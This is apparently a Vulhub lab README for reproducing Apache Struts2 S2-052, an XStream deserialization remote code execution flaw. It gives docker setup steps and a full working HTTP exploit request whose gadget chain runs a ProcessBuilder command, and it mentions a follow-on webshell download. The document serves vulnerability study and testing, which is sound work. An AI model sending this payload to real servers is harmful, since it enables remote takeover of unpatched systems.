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vulhub/struts2/s2-052/README.md
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2025-09-06 16:08:15 +08:00

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# S2-052 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Details:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## Setup
```
docker compose up -d
```
## Exploit
After launching the environment, visit `http://your-ip:8080/orders.xhtml` to see the showcase page. We need modify the `orders.xhtml` to `order.xml` or modify the `Content-Type` header to `application/xml` to pass the XML data in the body.
So, the package is:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```
If the packet is executed, the file `/tmp/success` will be created in the docker container. We execute `docker compose exec struts2 ls /tmp/`, and we can see `success`.
In addition, we can also download a jspx webshell:
![](01.png)